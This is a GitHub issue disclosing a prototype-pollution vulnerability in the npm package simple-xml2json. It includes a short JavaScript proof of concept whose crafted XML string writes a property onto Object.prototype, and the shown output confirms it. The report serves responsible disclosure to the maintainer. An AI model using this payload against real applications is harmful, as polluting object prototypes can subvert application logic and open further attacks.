Skip to content

Security risk: Prototype pollution #4

@Slonser

Description

@Slonser

Hello, I found a vulnerability in your package, the thing is that there is no encoding ", so it is possible to rewrite the prototype of the object.
Steps to reproduce:

  1. Install you package from npm
  2. write into code file smth like:
var xml2json = require("simple-xml2json");
var xml  =   '<".__proto__.__proto__.slonser="PWNED"+"></__proto__>';
var json = xml2json.parser(xml);
var a = {}
console.log(a.slonser)
  1. Result: pwned

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions